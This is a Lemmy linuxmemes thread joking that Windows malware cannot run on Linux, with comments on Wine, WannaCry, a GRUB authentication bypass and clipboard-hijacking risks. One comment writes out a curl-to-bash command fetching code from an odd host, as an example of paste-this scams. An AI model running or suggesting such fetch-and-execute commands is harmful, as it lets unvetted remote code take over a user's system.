this post was submitted on 28 Feb 2025
1048 points (99.1% liked)

linuxmemes

22935 readers
1008 users here now

Hint: :q!


Sister communities:


Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack users for any reason. This includes using blanket terms, like "every user of thing".
  • Don't get baited into back-and-forth insults. We are not animals.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
  • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
  • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, <loves/tolerates/hates> systemd, and wants to interject for a moment. You can stop now.
  • 5. πŸ‡¬πŸ‡§ Language/язык/Sprache
  • This is primarily an English-speaking community. πŸ‡¬πŸ‡§πŸ‡¦πŸ‡ΊπŸ‡ΊπŸ‡Έ
  • Comments written in other languages are allowed.
  • The substance of a post should be comprehensible for people who only speak English.
  • Titles and post bodies written in other languages will be allowed, but only as long as the above rule is observed.
  • Β 

    Please report posts and comments that break these rules!


    Important: never execute code or follow advice that you don't understand or can't verify, especially here. The word of the day is credibility. This is a meme community -- even the most helpful comments might just be shitposts that can damage your system. Be aware, be smart, don't remove France.

    founded 2 years ago
    MODERATORS
     
    top 50 comments
    sorted by: hot top controversial new old
    [–] trhbd@scribe.disroot.org 1 points 1 day ago

    until you try to install .exe game file using lutris and wine

    [–] diemartin@sh.itjust.works 125 points 3 days ago (1 children)
    [–] Jumpingspiderman@lemmy.world 17 points 3 days ago (4 children)

    Why does your admin account look like a scrotum?

    [–] sibannac@lemmy.world 7 points 2 days ago

    it's where the power is stored

    [–] PixelPinecone@lemmy.today 11 points 3 days ago

    Yours doesn’t?

    [–] Zink@programming.dev 3 points 2 days ago

    Insert joke about it taking balls to use it

    Insert another joke about it being the root of the access tree/graph in the image

    [–] diemartin@sh.itjust.works 7 points 3 days ago

    Maybe because scratching an itch there is generally seen as a bad move if you don't know what you're doing.

    [–] kamen@lemmy.world 124 points 4 days ago* (last edited 3 days ago) (9 children)

    ... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

    [–] f4f4f4f4f4f4f4f4@sopuli.xyz 1 points 1 day ago* (last edited 1 day ago)

    Even if you understand the commands, you need to trust the website because a malicious site can use JavaScript to copy something completely different into your clipboard, with a newline character at the end to automatically execute when pasted. (Is the newline exploit fixed in all shells? It used to fail in zsh but work in many others...)

    One can also paste into a text editor to verify before pasting into terminal, but what noob is going to know or bother to?

    [–] Huschke@lemmy.world 89 points 4 days ago (1 children)

    But a forum post said it would fix my issue.

    [–] Mutelogic@sh.itjust.works 36 points 4 days ago (1 children)

    I feel like there's some truth to this!

    If the posted answer was in a moderately active thread, you can generally assume it's correct if there are no contradictory replies.

    [–] lemming741@lemmy.world 29 points 4 days ago

    If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.

    [–] Rooty@lemmy.world 47 points 4 days ago (1 children)

    Raises hand I might be some people πŸ₯Ί

    There's some people in all of us

    [–] possiblylinux127@lemmy.zip 33 points 3 days ago* (last edited 3 days ago)
    curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
    

    Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

    [–] DragonsInARoom@lemmy.world 11 points 4 days ago

    Let me open up my Linux bible and see if its malicious

    load more comments (4 replies)
    [–] cappa@feddit.org 167 points 4 days ago (2 children)

    This is were WINE comes handy /s

    [–] Kusimulkku@lemm.ee 63 points 4 days ago (16 children)
    [–] RogueBanana@lemmy.zip 29 points 4 days ago

    WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.

    Hehe

    [–] umbrella@lemmy.ml 18 points 4 days ago* (last edited 4 days ago) (1 children)

    now im really tempted to try it, we have a decryptor now dont we?

    inb4 decryptor: borked

    [–] Kusimulkku@lemm.ee 36 points 4 days ago* (last edited 4 days ago)

    What works

    Encryption - Yes

    GUI - Yes

    What does not

    SMB & Network replication does not always work, may require SMB network patch.

    See: Misc Things to configure (Samba Shares)

    Some Font rendering issues.

    What was not tested

    Decryption

    Ransom Payment

    Uh oh. And giving it "platinum" even though some stuff doesn't work and basic features weren't tested is bullshit. I demand a retraction!

    load more comments (14 replies)
    [–] SapphironZA@sh.itjust.works 10 points 3 days ago

    Virus running in wine: "WTF is this place. It's familiar, but it's all wrong!"

    [–] mvirts@lemmy.world 22 points 3 days ago

    And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later

    [–] Lime66@lemmy.world 79 points 4 days ago

    Wine automatically running:

    [–] apex32@lemmy.world 54 points 4 days ago (2 children)

    A friend of mine once downloaded something malicious to his Linux machine and wasn't worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, "hey, what's this?" Oops.

    He's a tech savvy guy, so I'm guessing the fact he had downloaded it himself really let his guard down.

    That's why you don't store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.

    [–] cmgvd3lw@discuss.tchncs.de 27 points 4 days ago

    That's another reason not to dual boot. Ditch Windows.

    [–] Zacryon@feddit.org 17 points 3 days ago (5 children)

    Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.

    https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html

    [–] kattfisk@lemmy.dbzer0.com 8 points 2 days ago

    That's hyperbole. Such a system can be "hacked" by simply plugging in a usb-stick and booting from that instead, or dozens of other ways.

    The only reason to use GRUB authentication I can think of would be in something like a kiosk.

    [–] FiskFisk33@startrek.website 16 points 3 days ago

    If the adversary has physical access you are generally pwned either way

    [–] phoenixz@lemmy.ca 5 points 2 days ago

    Yeah that is not really an "OMG" vulnerability as I can also get into that machine by booting it with a USB drive, or plugging it's drove into my own machine.

    [–] Varcour@lemm.ee 5 points 2 days ago

    Does anyone here use GRUB authentication? If so why? What's your threat model?

    [–] SynopsisTantilize@lemm.ee 4 points 3 days ago (1 children)

    Breh. What? I feel naked right now.

    [–] f4f4f4f4f4f4f4f4@sopuli.xyz 1 points 1 day ago* (last edited 1 day ago) (1 children)

    Better replace your keyboard everytime you leave it unattended, someone could put a keylogger in it. Don't forget to check for hidden pinhole cameras around that capture you inputting your passwords. Etc, etc. Those even work against an encrypted drive...

    [–] SynopsisTantilize@lemm.ee 1 points 1 day ago (1 children)

    To be fair I rotate hardware and DE so often my drives are wiped nearly monthly. But Jesus this is egregious.

    [–] f4f4f4f4f4f4f4f4@sopuli.xyz 2 points 9 hours ago* (last edited 9 hours ago) (1 children)

    grub's always been a hack. The first stage in 512 byte boot sector chainloads the second stage in the space between boot sector and the first sectors of first partition. Second stage chainloads the kernel. (This is my primitive gist.)

    grub was never made for security, it just exists in a place where one would think security would be priority... but again, physical access = pwned, etc.

    Not quite the same, but funny: I recently unlocked an HDD from a car head unit to prove to a friend that it was only storing music ripped from its CD drive (and the associated minimal CD title database)... Toshiba master HDD password is 32 spaces. πŸ˜…

    [–] SynopsisTantilize@lemm.ee 1 points 19 minutes ago

    Oh shit hahaha that's straight up disrespectful. Well yea I guess that makes sense but I just never thought to deep about it.

    [–] lath@lemmy.world 48 points 4 days ago (12 children)

    Modern viruses check the os before deciding which type of file to send your way.

    [–] LordKitsuna@lemmy.world 56 points 4 days ago (20 children)

    This is why you use a user agent switcher to lie about being windows. It's a form of anti malware!

    load more comments (20 replies)
    load more comments (11 replies)
    [–] daggermoon@lemmy.world 37 points 4 days ago (4 children)

    It does if you right click it and run with wine or whatever it says

    load more comments (4 replies)
    [–] arc@lemm.ee 3 points 2 days ago

    Sometimes when I've torrenting from a public wifi I'll get a malicious .scr file - but since I torrent from an Android phone it can't do anything to me.

    load more comments
    view more: next β€Ί